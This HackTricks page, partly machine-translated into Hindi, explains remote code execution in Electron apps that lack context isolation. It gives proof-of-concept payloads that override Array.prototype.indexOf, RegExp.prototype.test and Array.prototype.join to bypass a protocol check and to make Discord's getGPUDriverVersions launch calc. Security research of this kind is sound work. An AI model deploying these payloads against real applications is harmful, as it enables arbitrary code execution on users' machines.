Electron contextIsolation RCE via preload code

Support HackTricks

Example 1

Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

यह कोड http(s) लिंक को डिफ़ॉल्ट ब्राउज़र के साथ खोलता है:

कुछ ऐसा जैसे file:///C:/Windows/systemd32/calc.exe का उपयोग कैलकुलेटर को निष्पादित करने के लिए किया जा सकता है, SAFE_PROTOCOLS.indexOf इसे रोक रहा है।

इसलिए, एक हमलावर इस JS कोड को XSS या मनमाने पृष्ठ नेविगेशन के माध्यम से इंजेक्ट कर सकता है:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

चूंकि SAFE_PROTOCOLS.indexOf को कॉल करने पर हमेशा 1337 लौटेगा, हमलावर सुरक्षा को बायपास कर सकता है और calc को निष्पादित कर सकता है। अंतिम शोषण:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Check the original slides for other ways to execute programs without having a prompt asking for permissions.

Apparently another way to load and execute code is to access something like file://127.0.0.1/electron/rce.jar

Example 2: Discord App RCE

Example from https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via DiscordNative.nativeModules.requireModule('MODULE-NAME'), into the web page. यहाँ, मैं child_process मॉड्यूल जैसे RCE के लिए उपयोग किए जा सकने वाले मॉड्यूल का सीधे उपयोग नहीं कर सका, लेकिन मैंने एक कोड पाया जहाँ RCE को JavaScript के अंतर्निहित तरीकों को ओवरराइड करके और एक्सपोज़ किए गए मॉड्यूल के निष्पादन में हस्तक्षेप करके प्राप्त किया जा सकता है

The following is the PoC. I was able to confirm that the calc application is popped up when I call the getGPUDriverVersions function which is defined in the module called "discord_utils" from devTools, while overriding the RegExp.prototype.test and Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions फ़ंक्शन "execa" पुस्तकालय का उपयोग करके प्रोग्राम को निष्पादित करने की कोशिश करता है, जैसे कि निम्नलिखित:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

आमतौर पर execa "nvidia-smi.exe" को निष्पादित करने की कोशिश करता है, जो nvidiaSmiPath वेरिएबल में निर्दिष्ट है, हालाँकि, ओवरराइडेड RegExp.prototype.test और Array.prototype.join के कारण, आर्गुमेंट को _execa_** की आंतरिक प्रोसेसिंग में "_calc_" में बदल दिया जाता है**।

विशेष रूप से, आर्गुमेंट को निम्नलिखित दो भागों को बदलकर प्रतिस्थापित किया जाता है।

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Support HackTricks

Last updated